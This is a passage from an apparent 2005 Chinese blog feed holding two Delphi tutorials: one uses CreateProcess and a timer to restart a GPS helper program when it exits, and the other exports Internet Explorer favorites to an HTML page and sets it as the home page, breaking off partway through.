<TD class=a14>LPTSTR lpReserved; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPTSTR lpDesktop; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPTSTR lpTitle; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwX; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwY; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwXSize; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwYSize; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwXCountChars; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwYCountChars; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwFillAttribute; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwFlags; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>WORD wShowWindow; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>WORD cbReserved2; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPBYTE lpReserved2; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>HANDLE hStdInput; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>HANDLE hStdOutput; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>HANDLE hStdError; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>} STARTUPINFO, *LPSTARTUPINFO；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>lpProcessInformation 参数指向LPPROCESS_INFORMATION结构，CreateProcess在返回之前，填入有关子进程的信息，父进程正是利用该信息监测子进程是否终止。该结构如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>typedef struct _PROCESS_INFORMATION { </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>HANDLE hProcess; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>HANDLE hThread; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwProcessId; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD dwThreadId; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>} PROCESS_INFORMATION; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>hProcess和hThread分别是子进程的句柄和子进程的主线程的句柄，dwProcessId和dwThreadId分别是子进程的标识号和子进程的主线程的标识号。 </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>2、子进程终止检测函数</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>GetEXitCodeProcess(HANDLE hProcess, LPDWORD lpExitCode );</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Hprocess：进程句柄，lpExitCode：进程终止时的退出码。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>如果一个进程没有终止，lpExitCode 的返回值是STILL_ACTIVE,否则返回其他值。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>四、方法的Delphi5语言实现</B></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>1、创建一个新的项目 Project1</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>选择File,New Application。在表单Form1上放一Memo组件，一个OK按钮组件，改变OK按钮组件的Cation属性为 CreateProcess。再放一个timer组件。设置timer组件的Interval值为1000,每秒检查一次进程是否终止。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>2、在Unit1 Use节的Type后定义一个过程</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure EstablishProcess;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>在Unit1 Use节的Var后定义一个变量：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>piProcInfoGPS:PROCESS_INFORMATION;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>3、在Unit1 implementation节中编写EstablishProcess过程的实现代码如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure EstablishProcess;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>siStartupInfo:STARTUPINFO;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saProcess,saThread:SECURITY_ATTRIBUTES;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>fSuccess:boolean;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>fSuccess:=false;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>ZeroMemory(@siStartupInfo,sizeof(siStartupInfo));</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>siStartupInfo.cb:=sizeof(siStartupInfo);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saProcess.nLength:=sizeof(saProcess);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saProcess.lpSecurityDescriptor:=PChar(nil);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saProcess.bInheritHandle:=true;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saThread.nLength:=sizeof(saThread);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saThread.lpSecurityDescriptor:=PChar(nil);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>saThread.bInheritHandle:=true;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>fSuccess:=CreateProcess(PChar(nil),'c:\sr350\Sr350buff',@saProcess,@saThread,false,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>CREATE_DEFAULT_ERROR_MODE,Pchar(nil),Pchar(nil),siStartupInfo,piProcInfoGPS);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if( not fSuccess)then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Form1.Memo1.Lines.Add('Create Process Sr350buff fail.')</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>else</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Form1.Memo1.Lines.Add('Create Process Sr350buff success.')</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>4、在CreateProcess按钮的OnClick事件中调用过程</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>EstablishProcess；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>5、为Timer1的OnTimer事件编写代码：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Procedure TForm1.Timer1Timer(Sender: TObject);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>dwExitCode:DWORD;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>fprocessExit:boolean;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14> </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>dwExitCode:=0;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>fprocessExit:=false;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>fprocessExit:=GetExitCodeProcess(piProcInfoGPS.hProcess,dwExitCode);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if(fprocessExit and (dwExitCode&lt;&gt;STILL_ACTIVE))then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Memo1.Lines.Add('SR350buff.exe进程终止');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>CloseHandle(piProcInfoGPS.hThread);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>CloseHandle(piProcInfoGPS.hProcess);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>EstablishProcess;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>End;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>6、程序中设可执行文件名为c:\sr350\sr350buff.exe，所以c:盘\sr350目录下需有sr350buff.exe文件。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>7、编译联接，运行project1，单击CreateProcess可见c:\sr350\sr350buff.exe启动。关掉sr350buff.exe进程，可见sr350buff.exe自动再启动。</TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=120" /> 
	  <id>http://www.openx.cn/default.asp?id=120</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用Delphi将IE收藏夹导出为HTML文件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:49:15+08:00</updated>
	  <published>2005-11-04T15:49:15+08:00</published>
		  <summary type="html"><![CDATA[<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>一、程序功能分析</B></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>1、将IE收藏夹导出为HTML文件，要求不打乱IE收藏夹原来网址的分类和级别关系；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>2、将文件导出到Windows的桌面，并将其设置为浏览器默认首页；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>二、程序具体实现</B></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><I>1、取得收藏夹信息，将其转化为HTML代码</I></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>收藏夹直接对应于windows目录的Favorites文家夹文件夹，这个文件夹中，每一个子文件夹就是收藏夹中的一个分类，文件夹中的每一个后缀为.URL的文件就是收藏夹的一个收藏。打开一个.名为“计算机世界报”的.URL文件，其内容如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>[InternetShortcut]</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>URL=http://www.ccw.com.cn</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>原来，“计算机世界报”的这个收藏的网址就是文件中的URL键值。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>现在，我们明白了，要导出收藏夹，只要取得Favorites文件夹的所有文件名和文件中的URL键值就可以了。我们用一个函数来实现：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>function Tform1.GetIEFavourites(const favpath: string): TStrings;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>searchrec: TSearchrec;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str: TStrings;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>path, dir, filename: string;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Buffer: array[0..2047] of char;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found: integer;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str := TStringList.Create;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//查找所有URL文件</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>path := FavPath + '\*.url'; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>dir := ExtractFilepath(path); </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindFirst(path, faAnyFile, searchrec);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//如果文件存在</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>while found = 0 do </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>PChar('URL'), nil, Buffer, SizeOf(Buffer), PChar(dir + searchrec.Name)));</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//构造一个收藏的链接，每个链接加入一个换行控制符</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.Add('&lt;a href="'+filename+'"&gt;'+copy(searchrec.Name,1,length(searchrec.Name)-4)+'&lt;/a&gt;'+'&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindNext(searchrec);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindFirst(dir + '\*.*', faAnyFile, searchrec); </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//如果是文件夹</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>while found = 0 do </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if ((searchrec.Attr and faDirectory) &gt; 0) and (searchrec.Name[1] &lt;&gt; '.') then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//在HTML中加入一个换行控制符</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.add('&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.add(searchrec.name+'&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.AddStrings(GetIEFavourites(dir + '\' + searchrec.Name));</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindNext(searchrec);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>FindClose(searchrec); </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Result := str;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>在这个函数中，参数favpath是收藏夹的具体路径；函数直接返回一段HTML代码。以上代码中，有两个函数要必须注意：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>（1）GetPrivateProfileString函数</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>功能是取得一个INI文件的键值，在以上代码中，是取得URL键值。函数如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD GetPrivateProfileString(</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCTSTR lpAppName, // points to section name </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCTSTR lpKeyName, // points to key name </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCTSTR lpDefault, // points to default string </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPTSTR lpReturnedString, // points to destination buffer </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>DWORD nSize, // size of destination buffer </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCTSTR lpFileName // points to initialization filename </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>参数解释：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>lpAppName：INI文件的“节”，代码中为“InternetShortcut”；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>lpKeyName：INI文件lpAppName节中的“键”，代码中为“URL”；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>lpReturnedString：默认返回值；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>nSize：缓冲大小；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>lpFileName：INI文件名，代码中为每一个URL文件；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>（2）copy函数</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>功能是拷贝字符串的一部分，在以上代码中是取得URL文件的文件名，也就是收藏夹中的单个收藏名；函数如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>function Copy(S; Index, Count: Integer): string;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>参数解释：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>S：源字符串，代码中为URL文件名（带后缀）；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Index：拷贝的开始位置，代码中为S字符串的开始；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Count：要拷贝的字符串个数，代码中为URL文件名长减4，目的是去掉URL文件名的后缀“.URL”；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><I>2、取得的信息保存为HTML文件，并将其设为浏览器首页</I></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>为了便于理解，程序中首先将取得的收藏夹信息导入到一个Richedit中，然后加入HTML文件的头尾信息（可以不要）。这样做还有一个好处是可以用户可以直接修改要生成文件的HTML源代码。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>导入Richedit的程序代码如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure TForm1.Button1Click(Sender: TObject);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>pidl: PItemIDList;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>FavPath: array[0..MAX_PATH] of char;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>SHGetPathFromIDList(pidl, favpath);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//加入HTML文件头信息</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;html&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;head&gt;&lt;Title&gt;我的收藏夹&lt;/Title&gt;&lt;/head&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;Body bgcolor="white"&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;Center&gt;&lt;H1&gt;我的收藏夹&lt;/h1&gt;&lt;/Center&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;Hr width="80%"&gt;&lt;BR&gt;&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//取得收藏夹信息</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.add(GetIEFavourites(StrPas(FavPath)).gettext);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//加入HTML文件尾信息</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;/BODY&gt;&lt;/HTML&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>button2.Enabled:=true;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>showmessage('代码生成完成！');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>在以上代码中，有两个函数要注意：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>（1）SHGetSpecialFolderLocation</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>此函数的功能是取得系统特定目录的路径；函数如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>WINSHELLAPI HRESULT WINAPI SHGetSpecialFolderLocation(;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>HWND hwndOwner, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>int nFolder, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPITEMIDLIST *ppidl </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>参数解释：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>hwndOwner：HWND信息；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>nFolder：需要取得的路径的代码，程序中为CSIDL_FAVORITES收藏夹路径；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>*ppidl：路径保存指针；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>（2）SHGetPathFromIDList</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>此函数从指针取得路径信息；函数如下：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>WINSHELLAPI BOOL WINAPI SHGetPathFromIDList(</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPCITEMIDLIST pidl, </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>LPSTR pszPath </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>参数解释：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>pidl：指针信息，程序中从SHGetSpecialFolderLocation取得；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>pszPath：路径保存字符串，程序中为favpath；</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><I>3、导出文件，并设置其为浏览器首页</I></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure TForm1.Button2Click(Sender: TObject);</TD></TR></TBODY></TABLE>
